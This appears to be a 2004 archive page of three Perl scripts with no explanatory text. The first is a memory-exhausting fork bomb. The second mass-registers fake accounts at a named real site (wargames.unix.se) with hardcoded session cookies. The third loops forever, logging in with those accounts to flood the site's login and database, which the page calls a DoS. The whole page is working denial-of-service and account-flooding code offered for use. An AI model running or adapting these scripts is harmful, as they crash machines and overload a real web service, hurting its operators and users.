2002 - 2004 << Back | Fwrd >>

- memfork-bomb.pl -
1]#!/usr/bin/perl


2]while(1)


3]{


4]	$buf="A" x 999999;


5]	join($buf,@bufs);


6]	system "perl memfork-bomb.pl";


7]	fork;


8]}

- zombie-indexer.pl -
1]#!/usr/bin/perl


2]use IO::Socket;


3]


4]$max=50;


5]for($x=0;$x<$max;$x++)


6]{


7]	system('cls');


8]	$sock=IO::Socket::INET->new(PeerAddr=>"wargames.unix.se:80",Proto=>'TCP');


9]	$user=randstr(5);


10]	$pass=randstr(5);


11]	print "($x) - u/p $user/$pass";


12]	$misc=randstr(6);


13]	$post="username=$user&homepage=$misc.com&age=none&gender=Male&location=no+where".


14]	"&group=lal&email=$misc\@google.com&password=$pass&password2=$pass&login=Login";


15]	$len=length($post);


16]


17]print $sock qq~


18]POST /signup.php HTTP/1.1


19]Content-Type: application/x-www-form-urlencoded


20]Host: wargames.unix.se


21]Content-Length: $len


22]Cache-Control: no-cache


23]Cookie: PHPSESSID=bdec85a99bd2526bd075eba70563a0d7


24]


25]$post


26]~;


27]	open(FILE,">>list.txt");


28]	print FILE "$user|$pass\n\r";


29]	close(FILE);


30]}


31]close($sock);


32]print "preparing for step two\n\b";


33]sleep 3;


34]exec("perl login-mysql_dos.pl");


35]


36]sub randstr {


37]	$str = '';


38]	for ($i = 0; $i <= @_[0]; $i++) {


39]		$str .= chr(int(rand(25)+97));


40]	}


41]	return $str;


42]}

- login-mysql_dos.pl -
1]#!/usr/bin/perl


2]use IO::Socket;


3]START:while(0<1)


4]{


5]open(FILE,"list.txt");


6]@users=<FILE>


7]$max=@users;


8]


9]for($x=0;$x<$max;$x++)


10]{


11]	($user,$pass)=split(/|/,@users[$x]);


12]	print "($x) - u/p $user:$pass\n";


13]	system('cls');


14]	$sock=IO::Socket::INET->new(PeerAddr=>"wargames.unix.se:80",Proto=>'TCP') || goto START;


15]	$post="username2=$user&password2=$pass&login=Login";


16]	$len=length($post);


17]


18]print $sock qq~


19]POST /index.php?cmd=52&PHPSESSID=ecfa9dc0e950990dd2bb3d8e561ceae7 HTTP/1.1


20]Host: wargames.unix.se


21]Content-Length: $len


22]Cookie: DEUSERNAME2=237495; PHPSESSID=ecfa9dc0e950990dd2bb3d8e561ceae7


23]


24]$post


25]~;


26]


27]


28]}


29]close($sock);


30]}

Exodus - 21.7.2004